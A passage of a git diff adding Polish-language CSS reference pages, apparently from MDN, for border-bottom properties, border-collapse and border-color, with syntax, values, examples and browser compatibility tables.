+ <td>1</td>
+ </tr>
+ <tr>
+ <td>Netscape</td>
+ <td>6</td>
+ </tr>
+ <tr>
+ <td>Opera</td>
+ <td>3.5</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<p>{{ Cssxref("background") }}, {{ Cssxref("background-attachment") }}, {{ Cssxref("background-color") }}, {{ Cssxref("background-image") }}, {{ Cssxref("background-position") }}, {{ Cssxref("background-repeat") }}</p>
diff --git a/files/pl/web/css/border-bottom-color/index.html b/files/pl/web/css/border-bottom-color/index.html
new file mode 100644
index 0000000000..ba88e74906
--- /dev/null
+++ b/files/pl/web/css/border-bottom-color/index.html
@@ -0,0 +1,149 @@
+---
+title: border-bottom-color
+slug: Web/CSS/border-bottom-color
+tags:
+ - CSS
+ - Dokumentacje
+translation_of: Web/CSS/border-bottom-color
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p><code>border-bottom-color</code> ustawia kolor dolnego obramowania elementu, poprzez wartość koloru lub słowo kluczowe <code>transparent</code>.</p>
+
+<ul>
+ <li>{{ Xref_cssinitial() }}: własność {{ Cssxref("color") }}</li>
+ <li>Stosowana do: wszystkich elementów</li>
+ <li>{{ Xref_cssinherited() }}: nie</li>
+ <li>Procenty: niedostępne</li>
+ <li>Media: {{ Xref_cssvisual() }}</li>
+ <li>{{ Xref_csscomputed() }}: jeśli wzięta z własności 'color', wtedy wartość wyliczona własności 'color'; w innym przypadku jako określone</li>
+</ul>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">border-bottom-color: <em>color</em> | transparent | inherit
+</pre>
+
+<h2 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h2>
+
+<dl>
+ <dt>color </dt>
+ <dd>Kolor może być zdefiniowany jako szestnastkowa wartość RGB, zwykła wartość RGB lub poprzez użycie jednego z predefiniowanych słów określających kolory.</dd>
+ <dt>transparent </dt>
+ <dd>Element nie ma własnego koloru, zamiast tego pokazuje kolor elementu pod spodem.</dd>
+</dl>
+
+<h2 id="Powi.C4.85zane_w.C5.82asno.C5.9Bci" name="Powi.C4.85zane_w.C5.82asno.C5.9Bci">Powiązane własności</h2>
+
+<ul>
+ <li>{{ Cssxref("border-color") }}</li>
+ <li>{{ Cssxref("border-left-color") }}</li>
+ <li>{{ Cssxref("border-right-color") }}</li>
+ <li>{{ Cssxref("border-top-color") }}</li>
+</ul>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<p><a href="/samples/cssref/border.html">Zobacz przykład</a></p>
+
+<pre>element {
+ width: 300px;
+ padding: 15px;
+ border-bottom-size: 1px;
+ border-bottom-style: solid;
+ border-bottom-color: #000;
+}
+
+</pre>
+
+<h3 id="Notatki" name="Notatki">Notatki</h3>
+
+<ul>
+ <li><a class="external" href="http://html-color-codes.com/">Color Chart by VisiBone</a></li>
+</ul>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#border-bottom-color', 'border-bottom-color')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>No significant changes, though the <code>transparent</code> keyword, now included in {{cssxref("&lt;color&gt;")}} which has been extended, has been formally removed.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'box.html#border-color-properties', 'border-bottom-color')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility">Browser Compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoDesktop("1.0")}}<sup>[1]</sup></td>
+ <td>4</td>
+ <td>3.5</td>
+ <td>1.0 (85)</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoMobile("1.0")}}<sup>[1]</sup></td>
+ <td>6.5</td>
+ <td>11</td>
+ <td>1.0</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Gecko-based browsers like Firefox also support the non-standard {{Cssxref("-moz-border-bottom-colors")}} CSS property that sets the bottom border to <strong>multiple</strong> colors.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The border-related CSS shorthand properties {{Cssxref("border")}}, {{Cssxref("border-bottom")}}, and {{Cssxref("border-color")}}.</li>
+ <li>The color-related CSS properties applying to the other borders: {{Cssxref("border-right-color")}}, {{Cssxref("border-top-color")}}, and {{Cssxref("border-left-color")}}.</li>
+ <li>The other border-related CSS properties applying to the same border: {{cssxref("border-bottom-style")}} and {{cssxref("border-bottom-width")}}.</li>
+</ul>
diff --git a/files/pl/web/css/border-bottom-left-radius/index.html b/files/pl/web/css/border-bottom-left-radius/index.html
new file mode 100644
index 0000000000..0047da4c13
--- /dev/null
+++ b/files/pl/web/css/border-bottom-left-radius/index.html
@@ -0,0 +1,20 @@
+---
+title: '-moz-border-radius-bottomleft'
+slug: Web/CSS/border-bottom-left-radius
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - 'CSS:Rozszerzenia_Mozilli'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/border-bottom-left-radius
+---
+<p>{{ CSSRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>W aplikacjach opartych na Mozilli <code>-moz-border-radius-bottomleft</code> ustawia zaokrąglenie dolnego lewego rogu obramowania.</p>
+
+<p>Zobacz więcej informacji we własności <a href="/pl/CSS/-moz-border-radius" title="pl/CSS/-moz-border-radius">-moz-border-radius</a>.</p>
+
+<p>{{ languages( { "de": "de/CSS/border-bottom-left-radius", "en": "en/CSS/-moz-border-radius-bottomleft", "fr": "fr/CSS/border-bottom-left-radius", "ja": "ja/CSS/border-bottom-left-radius" } ) }}</p>
diff --git a/files/pl/web/css/border-bottom-right-radius/index.html b/files/pl/web/css/border-bottom-right-radius/index.html
new file mode 100644
index 0000000000..c43c814a8c
--- /dev/null
+++ b/files/pl/web/css/border-bottom-right-radius/index.html
@@ -0,0 +1,20 @@
+---
+title: '-moz-border-radius-bottomright'
+slug: Web/CSS/border-bottom-right-radius
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - 'CSS:Rozszerzenia_Mozilli'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/border-bottom-right-radius
+---
+<p>{{ CSSRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>W aplikacjach opartych na Mozilli <code>-moz-border-radius-bottomright</code> ustawia zaokrąglenie dolnego prawego rogu obramowania.</p>
+
+<p>Zobacz więcej informacji we własności <a href="/pl/CSS/-moz-border-radius" title="pl/CSS/-moz-border-radius">-moz-border-radius</a>.</p>
+
+<p>{{ languages( { "de": "de/CSS/border-bottom-right-radius", "en": "en/CSS/-moz-border-radius-bottomright", "fr": "fr/CSS/-moz-border-radius-bottomright", "ja": "ja/CSS/border-bottom-right-radius" } ) }}</p>
diff --git a/files/pl/web/css/border-bottom-style/index.html b/files/pl/web/css/border-bottom-style/index.html
new file mode 100644
index 0000000000..0b212631ff
--- /dev/null
+++ b/files/pl/web/css/border-bottom-style/index.html
@@ -0,0 +1,159 @@
+---
+title: border-bottom-style
+slug: Web/CSS/border-bottom-style
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/border-bottom-style
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p><code>border-bottom-style</code> ustawia styl linii dolnego obramowania bloku.</p>
+
+<ul>
+ <li>{{ Xref_cssinitial() }}: {{ Cssxref("none") }}</li>
+ <li>Stosowana do: wszystkich elementów</li>
+ <li>{{ Xref_cssinherited() }}: nie</li>
+ <li>Procenty: niedostępne</li>
+ <li>Media: {{ Xref_cssvisual() }}</li>
+ <li>{{ Xref_csscomputed() }}: określone</li>
+</ul>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">border-bottom-style: &lt;border-style&gt; | inherit
+</pre>
+
+<h2 id="Warto.C5.9Bci_.3Cborder-style.3E" name="Warto.C5.9Bci_.3Cborder-style.3E">Wartości &lt;border-style&gt;</h2>
+
+<dl>
+ <dt>none </dt>
+ <dd>Bez obramowania.</dd>
+ <dt>hidden </dt>
+ <dd>Podobnie jak 'none', oprócz sytuacji konfliktu rozdzielczości obramowania dla elementów tabeli.</dd>
+ <dt>dotted </dt>
+ <dd>Seria kropek.</dd>
+ <dt>dashed </dt>
+ <dd>Seria krótkich kresek lub odcinków linii.</dd>
+ <dt>solid </dt>
+ <dd>Pojedyncza, prosta, ciągła linia.</dd>
+ <dt>double </dt>
+ <dd>Dwie proste linie, które dają w sumie liczbę pikseli zdefiniowaną jako <code>border-width</code>.</dd>
+ <dt>groove </dt>
+ <dd>Efekt wyrzeźbienia.</dd>
+ <dt>ridge </dt>
+ <dd>Przeciwieństwo <code>groove</code>. Obramowanie wydaje się trójwymiarowe (zapowiadane).</dd>
+ <dt>inset </dt>
+ <dd>Sprawia wrażenie, że blok jest zapadnięty.</dd>
+ <dt>outset </dt>
+ <dd>Przeciwieństwo <code>inset</code>. Sprawia, że blok wydaje się trójwymiarowy (wysunięty).</dd>
+</dl>
+
+<h2 id="Powi.C4.85zane_w.C5.82asno.C5.9Bci" name="Powi.C4.85zane_w.C5.82asno.C5.9Bci">Powiązane własności</h2>
+
+<ul>
+ <li>{{ Cssxref("border-left-style") }}</li>
+ <li>{{ Cssxref("border-right-style") }}</li>
+ <li>{{ Cssxref("border-top-style") }}</li>
+ <li>{{ Cssxref("border-style") }}</li>
+</ul>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<p><a href="/samples/cssref/border.html">Zobacz przykład</a></p>
+
+<pre>element {
+ border-bottom-size: 1px;
+ border-bottom-style: dotted;
+ border-bottom-color: #000;
+}
+</pre>
+
+<h2 id="Notatki" name="Notatki">Notatki</h2>
+
+<p>Jeżeli wartość <code>border-style</code> nie jest ustawiona, wtedy twoje obramowanie nie pojawi się, ponieważ domyślna wartość jest ustawiona na <code>none</code>.</p>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Backgrounds', '#border-bottom-style', 'border-bottom-style') }}</td>
+ <td>{{ Spec2('CSS3 Backgrounds') }}</td>
+ <td>No significant change</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS2.1', 'box.html#border-style-properties', 'border-bottom-style') }}</td>
+ <td>{{ Spec2('CSS2.1') }}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>1.0</td>
+ <td>1.0</td>
+ <td>5.5</td>
+ <td>9.2</td>
+ <td>1.0</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>7.0</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_Also" name="See_Also">See also</h2>
+
+<ul>
+ <li>The other style-related border properties: {{ Cssxref("border-left-style") }}, {{ Cssxref("border-right-style") }}, {{ Cssxref("border-top-style") }}, and {{ Cssxref("border-style") }}.</li>
+ <li>The other bottom-border-related properties: {{ Cssxref("border-bottom") }}, {{ Cssxref("border-bottom-color") }}, and {{ Cssxref("border-bottom-width") }}.</li>
+</ul>
diff --git a/files/pl/web/css/border-bottom-width/index.html b/files/pl/web/css/border-bottom-width/index.html
new file mode 100644
index 0000000000..6b85e8972f
--- /dev/null
+++ b/files/pl/web/css/border-bottom-width/index.html
@@ -0,0 +1,143 @@
+---
+title: border-bottom-width
+slug: Web/CSS/border-bottom-width
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/border-bottom-width
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p><code>border-bottom-width</code> ustawia szerokość dolnego obramowania bloku.</p>
+
+<ul>
+ <li>{{ Xref_cssinitial() }}: {{ Cssxref("medium") }}</li>
+ <li>Stosowana do: wszystkich elementów</li>
+ <li>{{ Xref_cssinherited() }}: nie</li>
+ <li>Procenty: niedostępne</li>
+ <li>Media: {{ Xref_cssvisual() }}</li>
+ <li>{{ Xref_csscomputed() }}: długość całkowita; '0' jeśli stylem obramowania jest <code>none</code> lub <code>hidden</code></li>
+</ul>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">border-bottom-width: &lt;border-width&gt; | inherit
+</pre>
+
+<h2 id="Warto.C5.9Bci_.3Cborder-width.3E" name="Warto.C5.9Bci_.3Cborder-width.3E">Wartości &lt;border-width&gt;</h2>
+
+<dl>
+ <dt>thin</dt>
+ <dd>Cienkie obramowanie.</dd>
+ <dt>medium</dt>
+ <dd>Średnie obramowanie.</dd>
+ <dt>thick</dt>
+ <dd>Grube obramowanie.</dd>
+ <dt>&lt;length&gt;</dt>
+ <dd>Grubość obramowania ma sprecyzowaną wartość. Sprecyzowana szerokość obramowania nie może być ujemna.</dd>
+</dl>
+
+<h2 id="Powi.C4.85zane_w.C5.82asno.C5.9Bci" name="Powi.C4.85zane_w.C5.82asno.C5.9Bci">Powiązane własności</h2>
+
+<ul>
+ <li>{{ Cssxref("border-left-width") }}</li>
+ <li>{{ Cssxref("border-right-width") }}</li>
+ <li>{{ Cssxref("border-top-width") }}</li>
+ <li>{{ Cssxref("border-width") }}</li>
+</ul>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<p><a href="/samples/cssref/border.html">Zobacz przykład</a></p>
+
+<pre>element {
+ border-bottom-width: thin;
+ border-bottom-style: solid;
+ border-bottom-color: #000;
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Backgrounds', '#the-border-width', 'border-bottom-width') }}</td>
+ <td>{{ Spec2('CSS3 Backgrounds') }}</td>
+ <td>No significant change</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS2.1', 'box.html#border-width-properties', 'border-bottom-width') }}</td>
+ <td>{{ Spec2('CSS2.1') }}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>1.0</td>
+ <td>1.0 (1.0)</td>
+ <td>4.0</td>
+ <td>3.5</td>
+ <td>1.0 (85)</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_Also" name="See_Also">See also</h2>
+
+<ul>
+ <li>The other border-width-related CSS properties: {{ Cssxref("border-left-width") }}, {{ Cssxref("border-right-width") }}, {{ Cssxref("border-top-width") }}, and {{ Cssxref("border-width") }}</li>
+ <li>The other border-bottom-related CSS properties: {{ Cssxref("border") }}, {{ Cssxref("border-bottom") }}, {{ Cssxref("border-bottom-style") }}, and {{ Cssxref("border-bottom-color") }}.</li>
+</ul>
diff --git a/files/pl/web/css/border-bottom/index.html b/files/pl/web/css/border-bottom/index.html
new file mode 100644
index 0000000000..8ff156c730
--- /dev/null
+++ b/files/pl/web/css/border-bottom/index.html
@@ -0,0 +1,146 @@
+---
+title: border-bottom
+slug: Web/CSS/border-bottom
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/border-bottom
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Własność <code>border-bottom</code> jest skróconą własnością, która ustawia wartości dla następujących własności: {{ Cssxref("border-bottom-color") }}, {{ Cssxref("border-bottom-style") }} oraz {{ Cssxref("border-bottom-width") }}. Te własności opisują dolne obramowanie elementu.</p>
+
+<ul>
+ <li>{{ Xref_cssinitial() }}: szczegóły zobacz w indywidualnych własnościach</li>
+ <li>Stosowana do: wszystkich elementów</li>
+ <li>{{ Xref_cssinherited() }}: nie</li>
+ <li>Procenty: niedostępne</li>
+ <li>Media: {{ Xref_cssvisual() }}</li>
+ <li>{{ Xref_csscomputed() }}: zobacz indywidualne własności</li>
+</ul>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">border-bottom: [ &lt;border-width&gt; || &lt;border-style&gt; || &lt;border-color&gt; ] | <em>inherit</em>
+</pre>
+
+<h2 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h2>
+
+<dl>
+ <dt>border-width </dt>
+ <dd>Zobacz {{ Cssxref("border-bottom-width") }}.</dd>
+ <dt>border-style </dt>
+ <dd>Zobacz {{ Cssxref("border-bottom-style") }}.</dd>
+ <dt>border-color </dt>
+ <dd>Zobacz {{ Cssxref("border-bottom-color") }}.</dd>
+</dl>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<p><a href="/samples/cssref/border.html">Zobacz przykład</a></p>
+
+<pre>element {
+ border-bottom-width: 1px solid #000;
+}
+</pre>
+
+<h2 id="Notatki" name="Notatki">Notatki</h2>
+
+<p>Trzy wartości skróconej własności mogą być określone w dowolnym porządku, zaś jedna lub dwie z nich mogą być pominięte.</p>
+
+<p>Jak w przypadku wszystkich skróconych własności, <code>border-bottom</code> zawsze ustawia wartości wszystkich własności, które może ustawić, nawet, jeśli nie są określone. Zatem te, które nie są zdefiniowane, ustawia do ich domyślnych wartości. Oznacza to, że:</p>
+
+<pre> border-bottom-style: dotted;
+ border-bottom: thick green;</pre>
+
+<p>jest dokładnie tym samym, co</p>
+
+<pre> border-bottom-style: dotted;
+ border-bottom: none thick green;</pre>
+
+<p>i wartość {{ Cssxref("border-bottom-style") }}, nadana przed <code>border-bottom</code>, jest ignorowana.</p>
+
+<p>Ponieważ domyślną wartością {{ Cssxref("border-bottom-style") }} jest <code>none</code>, nieokreślenie wartości składnika <code>border-style</code> oznacza, że własność ustawi brak obramowania.</p>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Backgrounds', '#border-bottom', 'border-bottom') }}</td>
+ <td>{{ Spec2('CSS3 Backgrounds') }}</td>
+ <td>No direct changes, though the modification of values for the {{ cssxref("border-bottom-color") }} do apply to it.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS2.1', 'box.html#propdef-border-bottom', 'border-bottom') }}</td>
+ <td>{{ Spec2('CSS2.1') }}</td>
+ <td>No significant changes</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS1', '#border-bottom', 'border-bottom') }}</td>
+ <td>{{ Spec2('CSS1') }}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>1.0</td>
+ <td>{{ CompatGeckoDesktop("1.0") }}</td>
+ <td>4</td>
+ <td>3.5</td>
+ <td>1.0 (85)</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>1.0</td>
+ <td>{{ CompatGeckoMobile("1.0") }}</td>
+ <td>{{ CompatVersionUnknown }}</td>
+ <td>{{ CompatVersionUnknown }}</td>
+ <td>{{ CompatVersionUnknown }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/pl/web/css/border-collapse/index.html b/files/pl/web/css/border-collapse/index.html
new file mode 100644
index 0000000000..24439aa553
--- /dev/null
+++ b/files/pl/web/css/border-collapse/index.html
@@ -0,0 +1,89 @@
+---
+title: border-collapse
+slug: Web/CSS/border-collapse
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/border-collapse
+---
+<p>{{ CSSRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Własność border-collapse jest używana do stworzenia połączonych obramowań. Ma ona duży wpływ na wygląd i styl komórek tabeli. Wyświetlanie obramowań tabeli jest podzielone w CSS2 na dwie kategorie - "połączone" i "rozdzielone". Własność ta definiuje, którego rodzaju wyświetlania użyć. W modelu połączonych obramowań sąsiadujące komórki tabel współdzielą obramowania. W modelu rozdzielonych obramowań sąsiadujące komórki mają swoje własne odrębne obramowania (odległość między nimi określona jest przez własność 'border-spacing').</p>
+
+<ul>
+ <li>{{ Xref_cssinitial() }}: {{ Cssxref("separate") }}</li>
+ <li>{{ Xref_cssinherited() }}: Tak</li>
+ <li>Media : {{ Xref_cssvisual() }}</li>
+ <li>{{ Xref_csscomputed() }}:</li>
+</ul>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">border-collapse: value
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<ul>
+ <li><strong>inherit</strong> : Ustawia wprost wartość tej własności na wartość rodzica.</li>
+ <li><strong>separate</strong> : Używa modelu wyświetlania "rozdzielonych obramowań".</li>
+ <li><strong>collapse</strong> : Używa modelu wyświetlania "połączonych obramowań".</li>
+</ul>
+
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+
+<p><a href="/samples/cssref/border-collapse.html">Zobacz przykład</a></p>
+
+<pre>&lt;table border="1" style="border-collapse: collapse" bordercolor="#111111" width="500"&gt;
+</pre>
+
+<pre>&lt;table border="1" style="border-collapse: separate" bordercolor="#111111" width="500"&gt;
+</pre>
+
+<h3 id="Notatki" name="Notatki">Notatki</h3>
+
+<p>W modelu wyświetlania "połączonych obramowań" wartość 'border-style' ustawiona na "inset" zachowuje się jak "groove", zaś "outset" zachowuje się jak "ridge". CSS2 definiuje, że wartością początkową dla tej własności jest "collapse", jednak CSS2.1 oraz Mozilla/Opera określają lub zachowują się tak, że wartością początkową jest "separate".</p>
+
+<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/tables.html#collapsing-borders">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/REC-CSS2/tables.html#borders">CSS 3</a></li>
+</ul>
+
+<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Przeglądarka</th>
+ <th>Najniższa wersja</th>
+ </tr>
+ <tr>
+ <td>Internet Explorer</td>
+ <td>5.5</td>
+ </tr>
+ <tr>
+ <td>Netscape</td>
+ <td>7</td>
+ </tr>
+ <tr>
+ <td>Opera</td>
+ <td>5</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<p>{{ Cssxref("border-spacing") }}</p>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/CSS/border-collapse", "es": "es/CSS/border-collapse", "fr": "fr/CSS/border-collapse" } ) }}</p>
diff --git a/files/pl/web/css/border-color/index.html b/files/pl/web/css/border-color/index.html
new file mode 100644
index 0000000000..196f39d235
--- /dev/null
+++ b/files/pl/web/css/border-color/index.html
@@ -0,0 +1,135 @@
+---
+title: border-color
+slug: Web/CSS/border-color
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/border-color
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Własność <code>border-color</code> jest skróconą własnością dla ustawienia koloru czterech krawędzi obramowania elementu.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">border-color: [ &lt;color&gt; || transparent ]{1,4} | <em>inherit</em>
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>&lt;color&gt; </dt>
+ <dd>Kolor może być zdefiniowany jako szesnastkowa wartość RGB, zwykła wartość RGB lub poprzez użycie jednego z predefiniowanych słów określających kolory.</dd>
+</dl>
+
+<dl>
+ <dt>transparent </dt>
+ <dd>Obramowanie nie jest rysowane, ale zajmuje przestrzeń na stronie.</dd>
+</dl>
+
+<p>Można ustawić do czterech wartości.</p>
+
+<p>Jeśli dana jest jedna wartość koloru, wtedy wszystkie cztery krawędzie są tego koloru.<br>
+ Jeśli dwie wartości - obramowanie górne i dolne używa pierwszej wartości, lewe i prawe używa drugiej.<br>
+ Jeśli trzy wartości - pierwsza jest dla górnej krawędzi, druga dla lewej i prawej, trzecia dla dolnej.<br>
+ Jesli cztery wartości - pierwsza dla górnego obramowania, druga dla prawego, trzecia dla dolnego i czwarta dla lewego.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<p><a href="/samples/cssref/border.html">Zobacz przykład</a></p>
+
+<pre>element {
+ border-width: 1px;
+ border-style: solid;
+ border-color: black;
+}
+</pre>
+
+<h2 id="Notatki" name="Notatki">Notatki</h2>
+
